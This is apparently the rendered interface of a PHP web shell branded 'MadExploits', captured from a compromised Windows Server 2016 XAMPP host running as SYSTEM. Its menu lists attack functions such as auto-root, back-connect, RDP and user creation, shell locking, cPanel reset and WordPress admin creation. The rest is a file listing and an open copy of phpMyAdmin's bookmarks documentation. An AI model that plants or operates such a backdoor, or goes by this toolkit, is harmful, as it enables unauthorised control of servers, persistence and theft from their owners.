Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
doc /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
_images
[ DIR ]
drwxrwxrwx
_sources
[ DIR ]
drwxrwxrwx
_static
[ DIR ]
drwxrwxrwx
bookmarks.html
9.83
KB
-rw-rw-rw-
charts.html
14.57
KB
-rw-rw-rw-
config.html
358.33
KB
-rw-rw-rw-
copyright.html
6.38
KB
-rw-rw-rw-
credits.html
45.6
KB
-rw-rw-rw-
developers.html
4.71
KB
-rw-rw-rw-
faq.html
200.7
KB
-rw-rw-rw-
genindex.html
141.91
KB
-rw-rw-rw-
glossary.html
32.76
KB
-rw-rw-rw-
import_export.html
26.86
KB
-rw-rw-rw-
index.html
14.58
KB
-rw-rw-rw-
intro.html
10.77
KB
-rw-rw-rw-
other.html
6.74
KB
-rw-rw-rw-
privileges.html
9.65
KB
-rw-rw-rw-
relations.html
9.78
KB
-rw-rw-rw-
require.html
8.24
KB
-rw-rw-rw-
search.html
3.51
KB
-rw-rw-rw-
searchindex.js
75.48
KB
-rw-rw-rw-
security.html
11.69
KB
-rw-rw-rw-
settings.html
6.03
KB
-rw-rw-rw-
setup.html
125.88
KB
-rw-rw-rw-
themes.html
11.17
KB
-rw-rw-rw-
transformations.html
13.76
KB
-rw-rw-rw-
two_factor.html
9.35
KB
-rw-rw-rw-
user.html
8.42
KB
-rw-rw-rw-
vendors.html
6.09
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bookmarks.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Bookmarks — phpMyAdmin 5.0.4 documentation</title> <link rel="stylesheet" href="_static/classic.css" type="text/css" /> <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> <script type="text/javascript" id="documentation_options" data-url_root="./" src="_static/documentation_options.js"></script> <script type="text/javascript" src="_static/jquery.js"></script> <script type="text/javascript" src="_static/underscore.js"></script> <script type="text/javascript" src="_static/doctools.js"></script> <script type="text/javascript" src="_static/language_data.js"></script> <link rel="index" title="Index" href="genindex.html" /> <link rel="search" title="Search" href="search.html" /> <link rel="copyright" title="Copyright" href="copyright.html" /> <link rel="next" title="User management" href="privileges.html" /> <link rel="prev" title="Transformations" href="transformations.html" /> </head><body> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="privileges.html" title="User management" accesskey="N">next</a> |</li> <li class="right" > <a href="transformations.html" title="Transformations" accesskey="P">previous</a> |</li> <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 5.0.4 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="user.html" accesskey="U">User Guide</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="bookmarks"> <span id="id1"></span><h1>Bookmarks<a class="headerlink" href="#bookmarks" title="Permalink to this headline">¶</a></h1> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">You need to have configured the <a class="reference internal" href="setup.html#linked-tables"><span class="std std-ref">phpMyAdmin configuration storage</span></a> for using bookmarks feature.</p> </div> <div class="section" id="storing-bookmarks"> <h2>Storing bookmarks<a class="headerlink" href="#storing-bookmarks" title="Permalink to this headline">¶</a></h2> <p>Any query that is executed can be marked as a bookmark on the page where the results are displayed. You will find a button labeled <span class="guilabel">Bookmark this query</span> just at the end of the page. As soon as you have stored a bookmark, that query is linked to the database. You can now access a bookmark dropdown on each page where the query box appears on for that database.</p> </div> <div class="section" id="variables-inside-bookmarks"> <h2>Variables inside bookmarks<a class="headerlink" href="#variables-inside-bookmarks" title="Permalink to this headline">¶</a></h2> <p>Inside a query, you can also add placeholders for variables. This is done by inserting into the query SQL comments between <code class="docutils literal notranslate"><span class="pre">/*</span></code> and <code class="docutils literal notranslate"><span class="pre">*/</span></code>. The special string <code class="docutils literal notranslate"><span class="pre">[VARIABLE{variable-number}]</span></code> is used inside the comments. Be aware that the whole query minus the SQL comments must be valid by itself, otherwise you won’t be able to store it as a bookmark. Also, note that the text ‘VARIABLE’ is case-sensitive.</p> <p>When you execute the bookmark, everything typed into the <em>Variables</em> input boxes on the query box page will replace the strings <code class="docutils literal notranslate"><span class="pre">/*[VARIABLE{variable-number}]*/</span></code> in your stored query.</p> <p>Also remember, that everything else inside the <code class="docutils literal notranslate"><span class="pre">/*[VARIABLE{variable-number}]*/</span></code> string for your query will remain the way it is, but will be stripped of the <code class="docutils literal notranslate"><span class="pre">/**/</span></code> chars. So you can use:</p> <div class="highlight-mysql notranslate"><div class="highlight"><pre><span></span><span class="cm">/*, [VARIABLE1] AS myname */</span> </pre></div> </div> <p>which will be expanded to</p> <div class="highlight-mysql notranslate"><div class="highlight"><pre><span></span><span class="p">,</span> <span class="n">VARIABLE1</span> <span class="k">as</span> <span class="n">myname</span> </pre></div> </div> <p>in your query, where VARIABLE1 is the string you entered in the Variable 1 input box.</p> <p>A more complex example, say you have stored this query:</p> <div class="highlight-mysql notranslate"><div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">Name</span><span class="p">,</span> <span class="n">Address</span> <span class="k">FROM</span> <span class="n">addresses</span> <span class="k">WHERE</span> <span class="mi">1</span> <span class="cm">/* AND Name LIKE '%[VARIABLE1]%' */</span> </pre></div> </div> <p>If you wish to enter “phpMyAdmin” as the variable for the stored query, the full query will be:</p> <div class="highlight-mysql notranslate"><div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">Name</span><span class="p">,</span> <span class="n">Address</span> <span class="k">FROM</span> <span class="n">addresses</span> <span class="k">WHERE</span> <span class="mi">1</span> <span class="k">AND</span> <span class="n">Name</span> <span class="k">LIKE</span> <span class="s1">'%phpMyAdmin%'</span> </pre></div> </div> <p><strong>NOTE THE ABSENCE OF SPACES</strong> inside the <code class="docutils literal notranslate"><span class="pre">/**/</span></code> construct. Any spaces inserted there will be later also inserted as spaces in your query and may lead to unexpected results especially when using the variable expansion inside of a “LIKE ‘’” expression.</p> </div> <div class="section" id="browsing-a-table-using-a-bookmark"> <h2>Browsing a table using a bookmark<a class="headerlink" href="#browsing-a-table-using-a-bookmark" title="Permalink to this headline">¶</a></h2> <p>When a bookmark has the same name as the table, it will be used as the query when browsing this table.</p> <div class="admonition seealso"> <p class="first admonition-title">See also</p> <p class="last"><a class="reference internal" href="faq.html#faqbookmark"><span class="std std-ref">6.18 Bookmarks: Where can I store bookmarks? Why can’t I see any bookmarks below the query box? What are these variables for?</span></a>, <a class="reference internal" href="faq.html#faq6-22"><span class="std std-ref">6.22 Bookmarks: Can I execute a default bookmark automatically when entering Browse mode for a table?</span></a></p> </div> </div> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="index.html">Table of Contents</a></h3> <ul> <li><a class="reference internal" href="#">Bookmarks</a><ul> <li><a class="reference internal" href="#storing-bookmarks">Storing bookmarks</a></li> <li><a class="reference internal" href="#variables-inside-bookmarks">Variables inside bookmarks</a></li> <li><a class="reference internal" href="#browsing-a-table-using-a-bookmark">Browsing a table using a bookmark</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="transformations.html" title="previous chapter">Transformations</a></p> <h4>Next topic</h4> <p class="topless"><a href="privileges.html" title="next chapter">User management</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="_sources/bookmarks.rst.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3>Quick search</h3> <div class="searchformwrapper"> <form class="search" action="search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="privileges.html" title="User management" >next</a> |</li> <li class="right" > <a href="transformations.html" title="Transformations" >previous</a> |</li> <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 5.0.4 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="user.html" >User Guide</a> »</li> </ul> </div> <div class="footer" role="contentinfo"> © <a href="copyright.html">Copyright</a> 2012 - 2020, The phpMyAdmin devel team. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.8.4. </div> </body> </html>
Close
